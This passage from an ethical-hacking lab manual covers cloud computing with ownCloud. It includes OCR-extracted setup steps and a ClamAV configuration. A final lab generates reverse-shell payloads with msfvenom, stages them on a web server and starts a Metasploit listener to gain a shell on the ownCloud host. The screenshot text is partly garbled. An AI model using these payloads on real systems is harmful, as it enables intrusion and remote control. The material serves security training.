67. Open up the terminal window and type service apache2 restart and hit
Enter.

root@ubuntu: /home/ubuntu
root@ubuntu: /home/ubuntu# service apache2 restart

root@ubuntu: /home /ubuntu#

FIGURE 1.55: Restarting all the services
68. Now log in to the Windows 10 virtual machine.

69. Launch a web browser, type the URL http:/10.10.10.9/owncloud in the
address bar, and press Enter.

Note: 10.10.10.9 is the IP address of Ubuntu virtual machine on which you
set up ownCloud. This IP address may vary in your lab environment.

CEH Lab Manual Page 1389

Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 19 - Cloud Computing

70. Here, you will log in to the ownCloud server as a user. Enter the
credentials in the Username (shane) and Password (florida@123) text

fields, and click Log in.
e - O b
I cwnCloue x
< C 0O [® Notsecwre [1070105 Joud/index.php,10gin o

ownClaud - A sufe home

FIGURE 1.56: ownCloud login page

71. A pop-up window appeats; close it.

B3 Fles - oweioud x

A safe home for all your data

Access & share your fled. CHMNGIL. CONIKTS. Mal & MOre FOM Sty CEViCR. ON your terms

P> Google Play App Store

9 Conmect your Calendar £ Connect your Contacts [ Access files via WebDAY

FIGURE 1.57: A pop-up window
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72. The ownCloud webpage appears, displaying all the directories along
with the shared directory that contains all the files shared by the admin
with this user (shane):

-] - o x

23 Foes - ownCloud -
€« 2 C O @ 1010109 o
- e 13 +
*
e . Documents 4 minutes ago

- Photos 4 minutes ago
r

[ thave < 3 hours ago

¥
o

FIGURE 1.58: Shared directory

73. You may/may not be able to re-share, download or upload any
files/directoties as per the sharing (secutity) settings configured by the

admin.
e - o x
N shae - Fler - ownClovd X
€« C (O @ 1010109 | 1
™ e @ share +
*
< [ [d o < 3 hours ago
@
| ]
O s
FIGURE 1.59: Shared file in the directory
CEH Lab Manual Page 1391 Ethical Hacking and Countermeasures Copyright © by EC-Councll

All Rights Reserved. Reproduction is Strictly Prohibited.




Module 19 - Cloud Computing

74. Switch back to Windows Server 2012 virtual machine. Navigate to

_H task s Z:\CEH-Tools\CEHv10 Module 19 Cloud Computing\ownCloud Desktop
Install Desktop Client and double-click ownCloud-2.4.0.8894-setup.exe.
Fliont 75. The ownCloud Setup window appears; click Next.
- Welcome to ownCloud Setup
[
own L lo U Setup will guide you through the installation of ownCloud.

Itis recommended that you dose all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot your
computer.

Click Next to continue.

[ Next> | [ concel

FIGURE 1.60: ownCloud setup wizard

76. In the Choose Components step, leave the settings set to default, and
click Next.

ownCloud Setup
Choose Components
Choose which features of ownCloud you want to install.

Check the components you want to install and uncheck the components you don't want to
install. Ciick Next to continue.

Select the type of instal: ISW\dad v
Or, select the optional -~ ownCloud
components you wish to [¥] Integration for Windows Explorer
install:
+ [ Shortcuts
Desaiption

Space required: 106,548

_<ook [ _Next> ][ condl

FIGURE L61: ownCloud setup wizard: Choose Components section
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77. In the Choose Install Location scction, set the location where you want
to install the ownCloud desktop client. In this lab, the default location is
selected.

Choose Install Location
Choose the folder in which to install ownCloud,

Setup will install ownCloud in the following folder. To install in a different folder, click Browse
and select another folder, Click Install to start the installation.

Destination Folder

:\Program Files (x86)\ownCloud

Space required: 106.5VB
Space availlable: 44,7G8

FIGURE 1.62 ownCloud setup wizard: Choose Install Location section

78. Once done with the installation, Installation Complete section of the
wizard appears, click Next.
Installation Complete
Setup was completed successfully.

FIGURE 1.63: ownCloud setup wizard: Installation Complete
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79. In the final step of the setup wizard, ensure that the Run ownCloud
option is checked, and click Finish.

ownCloud Setup NI

Completing ownCloud Setup

ownCloud has been installed on your computer,

Click Finish to dose Setup,

[V Run ownCloud

FIGURE 1.64: End of ownCloud setup wizard

80. The ownCloud Connection Wizard appears. In the Setup ownCloud
server section, enter http://10.10.10.9/owncloud in the Server Address
text field, and click Next.

Note: 10.10.10.9 is the IP address of Ubuntu virtual machine. This IP
address may vary in your lab environment.

The IP addtess of your machine may change whenever you restart or Re-Log
In to the machine. When this occurs, you need to check the IP address of the
machine and change the IP address accordingly in the URL of Desktop client.

This IP address may change whenever the machine is restarted.

Connect to ownCloud

Server Address [M://10. 10. 10. 9/owndoud l E

FIGURE 1.65: ownCloud Connection Wizard
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81. Enter user credentials section appears, enter the credentials you have
specified at the time of ownCloud database setup in the Username
(admin) and Password (qwerty@123) fields, and click Next.

Connect to ownCloud

Enter user oredentials

Click here to request an app password from the web interface.

Username [Baimin )

password [sesesssess )

FIGURE 1.66: ownCloud Connection Wizard: Enter user credentials section
82. The Setup local folder options step appears; click Connect....

Note: You can change the local folder location.

Connect to ownCloud

Setup Jocal folder options

®) Sync everything from server (5,1 M
e, g 2

] Ask for confirmation before synchronizing folders larger then (500 & M8
! Ask for confirmation before synchronizng external storages
>

Server

!; ( cipsers\admnistratoriowncioud |

Local Folder
[Skp folders configuration| | <Back | [[Comect... )
FIGURE 1.67: ownCloud Connection Wizard: Setup Jocal folder options section
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83. Now, your ownCloud account is synced with the local folder
C:\Users\AdministratorlownCloud. Whatever files you place in this
folder will automatically be uploaded to the ownCloud account online.

Note: The files are synchronized only when the account is logged in.

Here, Administrator in the path C:\Users\AdministratorlownCloud is the
user of the system in this lab. This username may vary in your lab
environment.

84. Now, the ownCloud icon appears in the notification area, as shown in the
screenshot:

FIGURE 1.68: ownCloud Desktop client icon

85. This icon displays the status of the cloud setver (online/offline) and acts
as an indicator while any files are being synchronized.

B rask 10 86. Copy an mp3 (or any other file). To do this, navigate to ZACEH-
Tools\CEHv10 Module 19 Cloud Computing\Shared Files, copy

Upload a File to abe.mp3, paste it in C:\Users\AdministratoriownCloud\share, and paste

the Website the file in this location.
through Desktop
Client A Mutic Tools m m
Home Share View Pray (7]
& N § » Admunistrator » ownCloud » share v & ¢ p
Favortes
B Desktop [ abc.mp3 1182018 1217PM WP File ».:]
& Downloads - Corjpg ’
ownCloud

4. Recent places

& This PC
€ Network
2items 1 #tem selected 10 bytes [E=
FIGURE 1.69: Copying a file
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87. Observe the ownCloud icon. The icon indicates that a file is being
synchronized, as shown in the screenshot:

88 Windows Server 2012R2

FIGURE 1.70: Files synchronized to ownCloud Server

88. Switch to Ubuntu machine and open the web browser window that you
minimized and click Files in the left pane.

89. The Files webpage appears in the browser; click share folder.

I3 Files -ownCloud X

& > C | @ localhost @9 »

1]
»
o+

. Documents 4 hours ago
. Photos 4 hours ago
share < aminute ago
ownCloud Manual 12 4hours ago

FIGURE 1.71: Viewing the files in shate directory
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90. Observe that file is present in the shared folder, inferring that the file was
uploaded successfully to the setver.

Note: If you do not find the file in the folder, refresh the webpage until the
file is found in it.

I3 share-Files -ownCloud X

c

D localhost.

e

#* share +

n abc 4 hours ago

La J car 4hours ago

FIGURE 1.72: Shared file found in music directory

H orask 11 91. Switch to Windows 10 vittual machine, navigate to ZACEH-
Tools\CEHv10 Module 19 Cloud Computing\ownCloud Desktop Client,

Install Desktop
and double-click ownCloud-2.4.0.8894-setup.exe.

Client
92. Follow the steps 75-79 to set up ownCloud Desktop client.
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93. The ownCloud Connection Wizard appears. In the Setup ownCloud
server section, enter http:/10.10.10.9/owncloud in the Server Address
text field, and click Next.

ownCloud Connection Wizard X

Connect to ownCloud

N
Setup ownCloud server "‘...

ownCloua

Server Address h’lf‘o://lo. 19.10.9/owndoud J E

FIGURE 1.73: ownCloud Connection Wizard

94. The Enter user credentials section appears; enter the credentials of the
user account (shane) you have added after signing in to the admin
account.

95. In this lab, the username and password of the created user account are
shane and florida@123.

ownCloud Connection Wizard XW

Connect to ownCloud

Enter user credentials

Clck here to request an app password from the web interface,
Username (shane )
Password quunn- l

<Back Next >

FIGURE 1.74: ownCloud Connection Wizard: Enter user credentials section
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96. The Setup local folder options step appears; click Connect....

« ownCloud Connection Wizard

Connect to ownCloud

Setup local folder options

Ges

Server

O Choose what to sync

(®) Sync everything from server (5,1M8)
Ask for confirmation before synchronizng folders larger than 500 ?k
[V ask for confirmation before synchronizing external storages

Local Folder

@[ C:ipsersVasoniowncloud

Skip folders configuration

FIGURE 1.75: ownCloud Connection Wizard: Setup local folder options section

97. On completion of setup ownCloud application window opens as shown

in the screenshot. Click Close.

we. ownClowd

20.10.30.9

o sy protocol

Time

G208 42235 M

NE2NEL2235PM
NE2NE 2235 M
62018 42235PM
116201842235 PM
NG0B E2235PM
WNE20E 42234 PM

6201842234 PM

é Lo TR

DOsmemos

Petwerk

Mot Synced

Fie

share/caejpg

ownCloud Manusl ot
thare/sbc.mpl

Photes Squerelpg
Documenty Example ol
PhotorSan Francrce pg
“hare

PhotovParpg

Photos

Documents

Folder
cwnCloud
ownCloud

ownCloud

Copy

FIGURE 1.76: ownCloud application window

98. Now, your ownCloud account is synced with the local folder
C:\Users\Admin\ownCloud. Whatever files you place in this folder will
automatically be uploaded to the ownCloud account online.

Note: The files are synchronized only when the account is logged in.
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EH task 12

Upload a File to
the Website as
well as the Server
(admin) using
Desktop Client

Module 19 - Cloud Computing

99. To view the files, present in shane’s account, navigate to

C:\Users\Admin\ownCloud.
- | = | ownCloud = [m] X
Home  Share  View (2]
« - 1«[ 4o« Users » Administrator » ownCloud v c]] Search ownCloud -]
# Quick access A Name Date modified Type Size
I Deskeop * Documents
& Downloads  # Photos
= 8 4:22 PM
Z| Documents 4 share ol o
=g & ewnCloud Manual 21 PM 4978 KB
[ Pictures -
CaesarCipher
dumps
GUIEverCrack
d Music
&# Dropbox
@ OneDrive
I3 ThispC
¥ Network v
4 items

FIGURE 1.77: Files present in Shane's account
100. Any changes you make hete such as adding/deleting a file or a folder
will take effect in the Shane's account online.

101. Now, to upload a file directly from the local dtive to Shane’s ownCloud
web server:

Copy a file (test.pdf) from Z:\CEH-Tools\CEHv10 Module 19 Cloud
Computing\Shared Files and paste it in
:\Users\Admin\ownCloud\share.

[ M ¥ | share - a X
Home Share View .

- v [« Users » Administrator » ownCloud » share v &) se )

# Quickaccess  ja  Nome : Tl Contributing arbists  Album

I Desktop - @) abe

& Downloads  # | car

Q9
= Documents # =] test
[ Pictures .
CaesarCipher

dumps A

FIGURE 1.78: Copying a file into documents
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102. Switch to the ownCloud webpage and click on the share directory. You
will be redirected to the document webpage. Here, you can observe the
file that has been pasted in C:\Users\Admin\ownCloud\share.

&3 Files -ownCloud X

(«)»> ¢

localhost.

m
o
+

- Documents 4 hours ago

- Photos ahours ago

share < aminute ago

ownCloud Manual 19M 4hours ago

FIGURE 1.79: Viewing share directory

I share - Files -owncCloud X

C

localhost

= * share +

n abe 4 hours ago

u car 4 hours ago
test 4hours ago

FIGURE 1.80: File uploaded to share directory successfully
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103. Switch back to Windows Server 2012 and navigate to
C:\Users\Administrator\owncloud\share. Notice that test.pdf, on the
Windows 10 machine’s C:\Users\Admin\ownCloud\share, is
synchronized to C:\Users\Administratorlowncloud\share.

Home  Share  View v 0
«© = 1 [l « Users » Administrator » ownCloud » share v ]| [Search share 2]
® Documentsani”  Name = Date modified Type Size
. Pedl | abcmp3 MP3 File 1kB
: P o""es - Carjpg 0 JPEG image 570 KB
S = et pdl /1672018 1222 PM__ Adobe Actabat D... T
4 Program Files { Q ]
ProgramData
Recovery
Syncnvuuvm.
4 Users [
4 Windows
e d P tde A >
3items  1item selected 20 bytes -

FIGURE 1.81: File successfully synchronized to the server

Note: Thus, whichever file or folder you paste/delete in the client’s ownCloud
directory will synchronize with the ownCloud server.

Lab Analysis

Analyze and document the results related to this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
Classroom iLabs
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Module 19 - Cloud Computing

Securing ownCloud from Malicious
File Uploads using ClamAV

Clam AV is an open source antivirus engine for detecting trojans, viruses, malware and
other malicious threats.

Lab Scenario

Cloud is a very lucrative and sought-after platform for the hackers as the gains
from an exploited cloud platform is tremendous. Since there are numerous users
active on a cloud platform at any given time, it makes it that much more necessary
and harder to protect all that data from getting hacked. One way to prevent
malicious files from getting into the cloud server is to filter them at the time of
upload. This command can be performed with the help of an antivirus configured
to scan and protect the system and stop any malicious files from getting uploaded.
As a security executive, it is your duty to make sure that the cloud stays uninfected
and safe for the clients to use it at their ease without worrying about their privacy.

Lab Objectives

The objective of this lab is to help students learn how to configure and secure
ownCloud using ClamAV Antivirus.

7 Tools £
e Lab Environment
this lab are To complete this lab, you will need:
available Z:\CEH- ) )
Tools\CEHV10 = If you decide to download the latest version, screenshots and steps
Module 19 Cloud might differ in your lab environment.
Computing = Run this lab in Ubuntu virtual machine
=  Administrative privileges to run the tool
= A web browser with Internet access
Lab Duration
Time: 15 Minutes
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Overview of ClamAV

ClamAV is an open-source, multi-platform antivirus which supports multiple file
formats with file and archive unpacking. It detects multiple signature languages and is
the only antivirus program supported by ownCloud. It also has command line utilities
for an on-demand file support with automatic signature updates. It is a versatile
antivirus with a multi-threaded daemon which makes it a great tool to keep your
system secure.

Lab Tasks

Note: Make sure that you delete all the cookies in the browser in which you will be
hosting ownCloud.

1. Taunch a terminal window, type sudo su and hit Enter. You will be asked
M task 1 to enter your password, type your password (hete toor) and hit Enter.

Install ClamAV Note: You will not be able to see the password input.

root@ubuntu: /home/ubuntu

sbuntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:
root@ubuntu: /home /ubuntu# l

FIGURE 2.1: Getting super user access

2. Now to install ClamAV, type apt-get install clamav clamav-daemon and
hit Enter.

root@ubuntu: /home/ubuntu

sbuntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:
root@ubuntu: /home/ubuntu# apt-get install clamav clamav-daemon]]

FIGURE 2.2 Installing ClamAV

3. A message appears asking if you want to continue, type Y and hit Enter to
proceed.

root@ubuntu: /home/ubuntu

sbuntu@ubuntu:~S sudo su
[sudo] password for ubuntu:
root@ubuntu: /home /ubuntu®# apt-get install clamav clamav-daemon
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer requi
1inux-headers-4.10.0-28 linux-headers-4.10.06-28-generic
linux-image-4.10.0-28-generic linux-image-extra-4.10.0-28-generic
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
clamav-base clamav-freshclam clamdscan libclamav7 1ibllvm3.6vs
suggested packages:
clamav-docs daemon libclamunrar7
The following NEW packages will be installed:
clamav clamav-base clamav-daemon clamav-freshclam clamdscan libclamav7
libllvm3.6v5
® upgraded, 7 newly installed, 0 to remove and 149 not upgraded.
Need to get 9,385 kB of archives.
After this operation, 38.2 MB of additional disk space will be used.
Do you want to continue? [Y/n] ¥y

FIGURE 2.3 Installing ClamAV
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4. After ClamAV installation is finished, type sed - -e
_H rtask 2 “s/ANotifyClamd/#NotifyClamd/g” /etc/clamavifreshclam.conf and hit

Configure ClamAV e

root@ubuntu: /home/ubuntu

oot@ubuntu: /home /ubuntu# sed -1 -e "s/ANotifyClamd/#NotifyClamd/qg" /etc/clamav/

reshclam.conf
-oot@ubuntu: /home/ubuntu# i

FIGURE 2.4: Configuring ClamAV

5. Now in the terminal window type netstat -a|grep clam and hit Enter. Here
you will see the socket on which clam process is running as shown in the
screenshot. Note down this socket details.

root@ubuntu: /home/ubuntu

root@ubuntu: /home/ubuntu# netstat -a|grep clam

nix 2 [ ACC ] STREAM LISTENING 18417 /var/run/ av/
ctl

root@ubuntu: /home /ubuntu#

FIGURE 2.5 Finding clhm process socket
6. Type service apache2 restart and hit Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home /ubuntu# netstat -a|grep clam

unix 2 [ ACC ] STREAM LISTENING 18417 [var/run/ av/
ctl

root@ubuntu: /home/ubuntu# service apache2 restart

root@ubuntu: /home/ubuntu#

FIGURE 2.6: Restarting apache webserver

7. 'To enable clamav service, type systemcti enable clamav-daemon.service
and hit Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home/ubuntu# systemctl enable clamav-daemon.service

ynchronizing state of clamav-daemon.service with SysV init with /lib/systemd/sy
stemd-sysv-install...

Executing /lib/systemd/systemd-sysv-install enable clamav-daemon

oot@ubuntu: /home /ubuntus

FIGURE 2.7: Enabling clamav service

8. To start clamav setvice, type systemctl start clamav-daemon.service and
hit Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home/ubuntu# systemctl enable clamav-daemon.service
synchronizing state of clamav-daemon.service with SysV init with /lib/systemd/sy

stemd-sysv-install...

Executing /lib/systemd/systemd-sysv-install enable clamav-daemon
oot@ubuntu: /home/ubuntu# systemctl start clamav-daemon.service
root@ubuntu: /home /ubuntu#

FIGURE 28: Starting chmav service
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Install Anti-Virus

Module 19 - Cloud Computing

9. Now open a browser (here Firefox) and type http/localhost/owncloud/ as
the URIL and hit Enter. ownCloud login page appears, log-in as the admin by
providing the user credentials (here admin/qwerty@123) and hit Enter.

in ownCloud

2 owncloud X

<« ) [ 0 localhost

owntloud X

ownCloud - A safe home for
FIGURE 2.9: Logging into own(loud admin account

10. Files page opens by default, click the menu icon and select Market, as shown
in the screenshot.

I Files - owncloud X

&« C' | @ localhost/ov r . @ »

- Documents 2daysago
- Photos 2daysago
share < 2 days ago
ownCloud Manual 49M8  2daysago

FIGURE 2.10: OwnCloud Market
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11. Market page loads, click Security under CATEGORIES in the left pane.

2 market -owncCloud X

G @ localhost, arket/# P H » =

e

CATEGORIES

Slotage

FIGURE 211: ownCloud Market

12. You will see the security apps in the market, click Anti-Virus as shown in the
screenshot.

I} Market -owncCloud X

s c

locathost

Anti-Virus

Two factor ...

ocalhost/owncloud/index. apps/market/#/app/files_antivirus

FIGURE 2.12 ownCloud Market security section
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Configure ClamAV
in ownCloud

Module 19 - Cloud Computing

13. Read the details of the anti-virus and click the INSTALL button at the bottom.

2 Market - ownCloud X

| & C @ localhost i L # B|--@9 » =

focumentation

ownCloud

INSTALL

14. After the anti-virus is finished installing, scroll to the top and from the menu
bat, sclect admin = Settings.

FIGURE 2.13: Installing anti-virus from ownCloud Market

I3 Market - ownCloud X

€« C | @ localhost f nark B Q99 »

Anti-Virus

CATEGORIES

When talking about file sharing, one as

Security. But security not only mea

Mocalhost/owncloud/index.php/settings/personal, coNto! over data. It also ncludes the protectior

FIGURE 2.14: Configuring anti-virus in ownCloud
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15. Settings page appears, click the menu icon to view the setting options for
admin as shown in the screenshot.

I3 Settings -ownCloud X

= c

localhost,

u are using 6.1 MB of Unlimited

Set email

roups

1»
|

You are member of the following groups:

admin

FIGURE 2.15: Configuring anti-virus in ownCloud

16. Left-pane appears with the setting options, under the Admin section select
Security as shown in the screenshot.

I settings -ownCloud X

(¢

C' | @ localhost B|Q% » =

1]

Admin vou are using 6.1 MB of Unlimited
Profile picture Full nan
-
agmin
U Security l tmai
! p Smc'4
el i 2 0m -

Password

ﬁcalhosgowncloud(mdex.ghg‘sem’ngs(admnn?sechomd:secunty — - > |

FIGURE 2.16: Configuring anti-virus in ownCloud
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17. Antivirus Configuration section appears, select Daemon(Socket) in the
Mode field and type the socket path for clamAV in the Socket field. Leave

the other settings to default and click Save.

Note: Input the socket path you noted in step 5.

bach

3 settings - owncloud X
L & (o] localhost
A t rL (
by
File size hmit, <1 m
byte
When Infected files were
Advanced

i d y
und during a

Onlylog ~

FIGURE 2.17: Configuring anti-virus in ownCloud

18. Now open up the setting options once more by clicking on the menu icon

and select General in the Admin section as shown in the screenshot.

I settings - owncCloud X

c

localhost

U

Admin

calhost/owncloud/index,

Mode
yeke
Stream Length
byte
File size limit yeans no limit
byt
When
background scan
Save
Advanced

settings/adminzsectionid=general,

Daemon (Socket) *

var/run/clamav/clam

Onlylog ~

FIGURE 2.18: Configuring anti-virus in ownCloud
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19. General settings section appears, scroll down to Log section and choose
Everything (fatal issues, errors, warnings, info, debug) in the what to log
field.

I Settings -ownCloud X

() > ¢

localhost

What to v.y[: Everything (fatal issues, errors, warnings, info, debug) | ']

Download logfile (1.2 MB)

EH task s

Create Sample FIGURE 2.19: Configuring anti-virus in ownCloud

L o L 20. Now we shall test out configured anti-virus by uploading a Trojan file.

Switch to Kali Linux machine and log-in.

21. Open a terminal window and type msfvenom -p
windows/meterpreterireverse_tcp -f exe > /[root/Desktop/trojan.exe and
hit Enter to generate a Trojan file.

root@Kkali: ~ (- JC 0 - ) |

File Edt View Search Terminal Help

:~# msfvenom p windows/meterpreter/reverse tcp -f exe > /root/Desktop

trojan.exe

FIGURE 2.20: Generating a sample Trojan file

22. Next, you have to move the Trojan file to the shared folder and start the
Apache web server.
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23. To move the Trojan file in the shared folder, type mv
Iroot/Desktop/trojan.exe variwww/html/share/ and hit Enter. Then statt
the Apache web server by typing service apache2 start and hit Enter.

root@kali: ~ e e O
File Edit View Search Terminal Help
:~# msfvenom -p windows/meterpreter/reverse tcp -f exe > /root/Desktop
trojan.exe
lo platform was lected, choosing Msf::Module::Platform: :Windows from the paylo
1d
lo Arch selected, selecting Arch: x86 from the payload

lo encoder or badcha specified, outputting raw payload
Payload size: 333

FIGURE 2.21: Sharing sample malicious fik

24. Open a new tab in your browser and type 10.10.10.11/share as the URL
and hit Enter. The browser displays contents of the shared folder, click on
trojan.exe to download it.

Note: 10.10.10.11 is the IP address of the kali linux machine, this may vary in your
lab environment.

& & [ 10.10.10.11 e @ ] » ={

Index of /share

Name Last modified Size Description

& Parent Directory -

(8 trojanexe ]  2018-01-19 02:26 72K

Apache/2.4.29 (Debian) Server at 10.10.10.11 Port 80

= |
FIGURE 222: Downloading sample Trojan file
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Upload Virus File

Module 19 - Cloud Computing

25. Opening trojan.exe pop-up window appears, select the Save File radio
button and click OK to download the sample Trojan. Close the Index of
Ishare tab after the Trojan is finished downloading and go back to the
Settings-ownCloud tab.

x Opening trojan.exe

You have chosen to open:

trojan.exe

which is: DOS/Windows executable (72.1 KB)
from: http://10.10.10.11

What should Firefox do with this File?

Open with | Archive Manager (default) v

O saveFile

| Do this automatically for Files like this from now on.

FIGURE223: Downloading sample Trojan fle
26. Now click the menu icon beside Settings heading and click Files.

IN settings - ownCloud X

&~ C ® ) localhost

‘ault slow database

nory-based locking, not the def

rmatior

& We recommend to enable system cron as any other cran method has possible perfermance and reliabllity
mplications.
FIGURE 2.24: Upboading sampk: "I'rojan fik:
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27. Now click the Add icon and select Upload as shown in the screenshot.

X Files - ownCloud X

I

»

&> C ® (i) localhost/ow 3r N

2 Upload

1l
»

I Folde - . 19MB  2daysago
share < seconds ago
- Photos < 2daysago
- Documents < . 2days ago

FIGURE 2.25: Upksading sample Trojan fik

28. File Upload window appears, navigate to Downloads, sclect trojan.exe and
click Open as shown in the screenshot.

File Upload

© Recent ¢ | Dubuntu | Downloads | »
@ Home Name v Size Modified
[ Desktop | tojanexe _____738kB 2328

D Documents

e
dd Music

[ Pictures

m Videos

+ Other Locatio...

AllFiles ~

Cancel

FIGURE 2.26: Upoading sampk: Trojan fik
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29. After dlicking open, you will get a message that the file has been detected as a
Trojan and hence cannot be uploaded.

'u Files -ownCloud X

G | ® 10.10.10.9/owncloud/index.php/apps/files/?dir=

| &

= #* +
share L~ 70X 18 hours ago
- Photos G3KE  3daysago
S5¥B  3daysago

- Documents

FIGURE 2.27: ChmAV blocks Trojan fle upload
30. In this way, you can protect your ownCloud from malicious file uploads.

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposute through public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

 Intemet Connection Required
No

[ Yes
Platform Supported
M Classroom

M iLabs
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Module 19 - Cloud Computing

Bypassing ownCloud AV and
Hacking the Host using Kali Linux

ownCloud is a suite of client-server sofbware for creating file hosting services and using
them.

Lab Scenario

Cloud computing is an on-demand delivery of IT capabilities where IT
infrastructure and applications are provided to subscribers as a metered service
over a network. Cloud providers outsource specific tasks to third parties. Thus,
the security of the cloud is directly proportional to the security of each link and
the extent of dependency on third parties. A disruption in the chain may lead to
loss of data privacy and integrity, services unavailability, violation of SLA,
economic and reputational losses failing to meet customer demand, and
cascading failure.

Lab Objectives

The objective of this lab is to help students learn how to bypass the ownCloud
antivirus, upload a malicious file to the cloud server and exploit the machine hosting
ownCloud.

7 Tools 7
., Lab Environment

this lab are To complete this lab, you will need:
available Z:\CEH- i i
Tools\CEHV10 = If you decide to download the latest version, screenshots and steps
Module 19 Cloud might differ in your lab envitonment.
Comping = A computer running Windows 10 as Virtual machine

= A computer running Kali Linux as Virtual machine

= A computer running Ubuntu as Virtual machine

®  Administrative privileges to run the tool

= A web browser with Internet access in both the machines
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Lab Duration
Time: 15 Minutes

Overview of ownCloud

OwnCloud is a secure enterprise file sharing program which can be integrated into
the IT infrastructure of an enterprise. It provides all these features with the necessary
security and compliance policies so that it is flexible to use and easy to audit at the
same time.

Lab Tasks

Note: Make sure that you delete all the cookies in the browser in which you will be
B rtask 1 hosting ownCloud.

Create Malicious DBefore running this lab, make sure you are logged in to the Ubuntu machine, and
Payload File apache web server is running,

1. Start the Kali Linux virtual machine and log-in.

2. TLaunch a terminal window, type msfvenom -p linux/x86/shellreverse_tcp
LHOST=10.10.10.11 LPORT=4444 -platform linux -f elf >
Iroot/Desktop/exploit.elf and hit Enter.

root@kali: ~ (- IO I )

File Edit View Search Terminal Help
:~# msfvenom -p linux/x86/she reverse tcp LHOST=10.10.10.11 LPORT=4444
platform linux - elf > ktop/exploit.elf

FIGURE 3.1: Creating a malicious payload

B rask 2 3. 'The command creates the payload file on the Desktop. To copy it to the
shared folder, in the terminal window type cp /root/Desktop/exploit.elf

Shath Mallsions Nariwwwihtmi/share/ and hit Enter.

Payload File
root@kall: ~
ﬂ File Edit View Search Terminal
exploter # msfve tcp LHOST=16.10.10.11 LPORT=4444)

-platform linux - f root/ t loit.elf

ch select f 3

tt.elf /var/www/h

FIGURE 32: Sharing the malicious file for upload
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4. 'To start the Apache web server type service apache2 start and hit Enter.

root@kali: ~ e 0 0.

File Edit View Search Terminal Help
:~# msfvenom -p linux/x86/shell/reverse tcp LHOST=10.16.10.11 LPORT=4444
--platform linux -f elf > /root/Desktop/exploit.elf
\0 Arch selected, selecting Arch: x86 from the payload
lo encoder or badchars specified, outputting raw payload
‘ayload size: 123 bytes

~inal size of elf file: 207 bytes
:~# cp /root/Desktop/exploit.elf /var/www/html/share/
:~# service apache2 start
~#

FIGURE 3.3: Sharing the malicious file for upkad

B fiahe 5 5. Now to make the listener, first start the Metasploit framewotk by typing
msfconsole and hit Enter.
Create and Starta :
Listener root@kali: ~ 06 0
File Edit View Search Terminal Help
# msfconsole
ﬂ‘] Starting The Metasploit Framework console.../

FIGURE 34: Making a listener

6. Wait for the Metasploit framework to launch and then type use
multi/handler and hit Enter.

root@kaliz ~ 0 0

Fite Edit View Search Terminal Help

[ddddddddaddddddddaddddadd s
c€cceccceccccccceccccccccccccc

FEFfffrfrfrffififfrfrfffesf
fEFFffff
Frfffffffeffrrererrerreeees
fIFfffff.

fIFffeff.

frEfFfeff.

Aiee, Killing Interrupt handler

=[ m Lod 16.1 ¢ ]
--=[ 1699 exploits - 968 auxiliary - 299 post ]
503 payloads 40 encoders 10 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use multi/handler
exploit(

FIGURE 3.5: Making a listener
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7. Next to specify the payload type set payload linux/x86/shellireverse_tcp
and hit Enter.

root@kali: ~ e 0 Q‘W

File Edit View Search Terminal Help

FrIFfrffffffffffffffffrfeef
TPt . v encnnnnansias
FEfrfffffffffffrffffferefef
LR 8 48 0 5 4 PRI
fEFEFfeef cevenie

) 43 8 f 1 R AT A AL

1

e, Killing Interrupt handler

: ]
1699 exploits 968 auxiliary 299 post 1
503 payloads - 40 encoders - 10 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

1sf > use multi/handler

nsf exploit( ) > set payload linux/x86/shell/reverse tcp
bayload => linux/x86/shell/reverse tcp

1s f it( ) >

FIGURE 3

: Making a listener
8. Next type set LHOST 10.10.10.11 and hit Enter.
root@kali: ~ (- IO 0‘]

File Edit View Search Terminal Help
fEFFffeef. .
FEFfffffffffffffrfififfeee
fEFFFeef.
fEFfFffef
fIFEffff.

Alee, Killing Interrupt handler

= 1 it 1
--=[ 1699 exploits - 968 auxiliary - 299 post ]
--=[ 503 payloads - 40 encoders - 10 nops ]

=[ Free Metasploit Pro trial: http://r-7.co/trymsp |

nsf > use multi/handler

n1sf exploit( ) > set payload linux/x86/shell/reverse tcp
payload => linux/x86/shell/reverse tcp

s > set LHOST 10.10.10.11

: Making a listener
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9. To specify the port type set LPORT 4444 and hit Enter.
root@kali: ~ Q@0

File Edit View Search Terminal Help
frEFrffeef..
fEEFFFFS
fffffff.

T4 SF
Alee, Killing Interrupt handler

=[ metasploit v4 - ]
1699 exploits 968 auxiliary 299 post 1
-- - 503 payloads - 40 encoders - 10 nops ]
- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

1sf > use multi/handler

isf exploit( ) > set payload linux/x86/shell/reverse tcp
rayload => linux/x86/shell/reverse tcp

1sf exploit( ) > set LHOST 10.10.10.11

LHOST => 10.10.106.11

nsf exploit( ) = set LPORT 4444

FIGURE 38: Making a listener

10. Now start the listener by typing run and hit Enter. Leave the listener
running and switch to Windows 10 machine.

root@kali: ~ (O N ~)

File Edit View Search Terminal Help

Aiee, Killing Interrupt handler

) ; 1
1699 exploits - 968 auxiliary - 299 post |
EEREVAGET 40 encoders - 10 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

multi/handler
exploit( ) > set payload linux/x86/shell/reverse tcp
load => linux/x86/shell/reverse tcp
set LHOST 10.16.10.11

set LPORT 4444

1sf exploit( > run
Exploit running as background job ©.

Started reverse TCP handler on 16.10.10.11:4444
1sf exploit( ) >

FIGURE 3.9: Starting the listener
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Download the
Malicious Payload
for Upload in
ownCloud

E task s

Upload the
Payload file
through Shane
Account in
ownCloud

Module 19 - Cloud Computing

11. Login the Windows 10 machine and open a browser (here chrome). Type
